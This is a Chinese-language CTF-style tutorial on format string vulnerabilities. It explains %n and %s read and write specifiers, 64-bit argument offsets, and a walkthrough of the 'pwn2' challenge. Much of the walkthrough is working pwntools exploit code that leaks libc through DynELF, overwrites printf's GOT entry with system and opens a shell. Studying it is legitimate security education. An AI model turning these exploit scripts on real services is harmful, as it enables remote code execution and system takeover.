目的是接觸一些常見的漏洞,增加自己的視野。格式化字符串危害最大的就兩點,一點是leak memory,一點就是可以在內存中寫入數據,簡單來說就是格式化字符串可以進行內存地址的讀寫。下面結合着自己的學習經歷,把漏洞詳細的講解一下,附上大量的實例。
0x01 漏洞簡述
0x1 簡介
格式化字符串漏洞是一種常見的漏洞,原理和利用方法也很簡單,主要利用方式就是實現內存任意讀和寫。前提是其中的參數可控。如果要深入理解漏洞必須進行大量的實驗。
0x2 產生條件
首先要有一個函數,比如read, 比如gets獲取用戶輸入的數據儲存到局部變量中,然后直接把該變量作為printf這類函數的第一個參數值,一般是循環執行
0x02 內存讀取
這是泄露內存的過程
0x1 printf 參數格式
這部分來自icemakr的博客
32位
讀
'%{}$x'.format(index) // 讀4個字節
'%{}$p'.format(index) // 同上面
'${}$s'.format(index)
寫
'%{}$n'.format(index) // 解引用,寫入四個字節
'%{}$hn'.format(index) // 解引用,寫入兩個字節
'%{}$hhn'.format(index) // 解引用,寫入一個字節
'%{}$lln'.format(index) // 解引用,寫入八個字節
64位
讀
'%{}$x'.format(index, num) // 讀4個字節
'%{}$lx'.format(index, num) // 讀8個字節
'%{}$p'.format(index) // 讀8個字節
'${}$s'.format(index)
寫
'%{}$n'.format(index) // 解引用,寫入四個字節
'%{}$hn'.format(index) // 解引用,寫入兩個字節
'%{}$hhn'.format(index) // 解引用,寫入一個字節
'%{}$lln'.format(index) // 解引用,寫入八個字節
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 棧上的第一個QWORD
0x2 堆棧情況
當printf("%s%d%d%d")后面沒有參數時,會打印后面的堆棧值。如果有read等函數,內存值可控,就可以實現內存任意讀、任意寫。
在64位環境下的格式化字符串利用又是另一回事,在這里稍微的提一下,以免其他同學在走錯道
程序為64位,在64位下,函數前6個參數依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中(也就是說,若使用”x$”,當1<=x<=6時,指向的應該依次是上述這6個寄存器中保存的數值),而從第7個參數開始,依然會保存在棧中。故若使用”x$”,則從x=7開始,我們就可以指向棧中數據了。
0x3 實例分析
這里選用廣東省紅帽杯的pwn2來具體說明。
首先看一下IDA反匯編代碼
while ( 1 )
{
memset(&v2, 0, 0x400u);
read(0, &v2, 0x400u);
printf((const char *)&v2);
fflush(stdout);
}
我們發現了read函數,printf函數標准的格式化字符串漏洞。
1計算參數偏移個數
這里有兩種方式
(1) gdb調試
在printf之前設置斷點,0x0804852E
單步進入sprintf函數中,查看堆棧值
我們發現了我們可控的內存距離sprintf之間的距離為7
(2) 利用pwntools計算
利用FmStr函數計算
from pwn import *
# coding:utf-8
# io = process('./pwn2')
# io =remote('106.75.93.221', 20003)
elf = ELF('./pwn2')
def test(payload):
io = process('./pwn2')
io.sendline(payload)
info = io.recv()
io.close
return info
autofmt = FmtStr(test)
print autofmt.offset
2利用DynELF實現內存泄露
在這里我先介紹一下DynELF泄露內存的原理,采用這篇博客里寫的
我們應該怎么才能根據已知的函數地址來得到目標函數地址,需要有一下條件
1.我們擁有從Linux發型以來所有版本的 libc 文件
2.我們已知至少兩個函數函數在目標主機中的真實地址
那么我們是不是可以用第二個條件去推測目標主機的 libc 版本呢 ?
我們來進行進一步的分析 :
關於條件二 :
這里我們可以注意到 : printf 是可以被我們循環調用的
因此可以進行連續的內存泄露
我們可以將多個 got 表中的函數地址泄露出來 ,
我們這樣就可以的至少兩個函數的地址 , 條件二滿足
關於條件一 :
哈哈~對了 , 這么有誘惑力的事情一定已經有人做過了 , 這里給出一個網站 : http://libcdb.com/ , 大名鼎鼎 pwntools 中的 DynELF 就是根據這個原理運作的
兩個條件都滿足 , 根據這些函數之間的偏移去篩選出 libc 的版本
這樣我們就相當於得到了目標服務器的 libc 文件 , 達到了同樣的效果
以上是原理,其實說白了就是要利用能夠打印指定內存的函數
#coding:utf-8
from pwn import *
sh = process('./pwn2')
elf = ELF('./pwn2')
#計算偏移
def test(payload):
temp = process('./pwn2')
temp.sendline(payload)
info = temp.recv()
temp.close()
return info
auto = FmtStr(test)
print auto.offset
#泄露內存 因為函數本來可以循環執行所以不用rop鏈閉合
def leak(addr):
payload = 'A%9$s'#這里需要注意一下 為了精確泄露內存用字符定下位
payload += 'AAA'
payload += p32(addr)
sh.sendline(payload)
sh.recvuntil('A')
content = sh.recvuntil('AAA')
# content = sh.recv(4)
print content
if(len(content) == 3):
print '[*] NULL'
return '\x00'
else:
print '[*] %#x ---> %s' % (addr, (content[0:-3] or '').encode('hex'))
print len(content)
return content[0:-3]
#-------- leak system
d = DynELF(leak, elf=ELF('./pwn2'))
system_addr = d.lookup('system','libc')#意思是在libc中尋找system地址
log.info('system_addr:' + hex(system_addr))
0x03 內存寫入
首先分析一個簡單點的程序
#include
int main() {
int flag=5 ;
int *p = &flag;
char a[100];
scanf("%s",a);
printf(a);
if(flag == 2000)
{
printf("good\n" );
}
return 0;
}
利用gdb調試一下,在printf處設斷點。查看一下堆棧的狀況
發現偏移為5 於是構造%010x%010x%010x%01970x%n
這里只是對於flag內存的修改,並沒有達到任意修改的效果,任意修改需要計算偏移利用寫好內存地址,利用%n直接修改。下面繼續pwn2的講解
在pwntools中有現成的函數可以使用fmtstr_payload可以實現修改任意內存
fmtstr_payload(auto.offset, {printf_got: system_addr})(偏移,{原地址:目的地址})
from pwn import *
sh = process('./pwn2')
elf = ELF('./pwn2')
def test(payload):
temp = process('./pwn2')
temp.sendline(payload)
info = temp.recv()
temp.close()
return info
auto = FmtStr(test)
print auto.offset
def leak(addr):
payload = 'A%9$s'
payload += 'AAA'
payload += p32(addr)
sh.sendline(payload)
sh.recvuntil('A')
content = sh.recvuntil('AAA')
# content = sh.recv(4)
print content
if(len(content) == 3):
print '[*] NULL'
return '\x00'
else:
print '[*] %#x ---> %s' % (addr, (content[0:-3] or '').encode('hex'))
print len(content)
return content[0:-3]
#-------- leak system
d = DynELF(leak, elf=ELF('./pwn2'))
system_addr = d.lookup('system','libc')
log.info('system_addr:' + hex(system_addr))
#-------- change GOT
printf_got = elf.got['printf']
log.info(hex(printf_got))
payload = fmtstr_payload(auto.offset, {printf_got: system_addr})
sh.sendline(payload)
payload = '/bin/sh\x00'
sh.sendline(payload)
sh.interactive()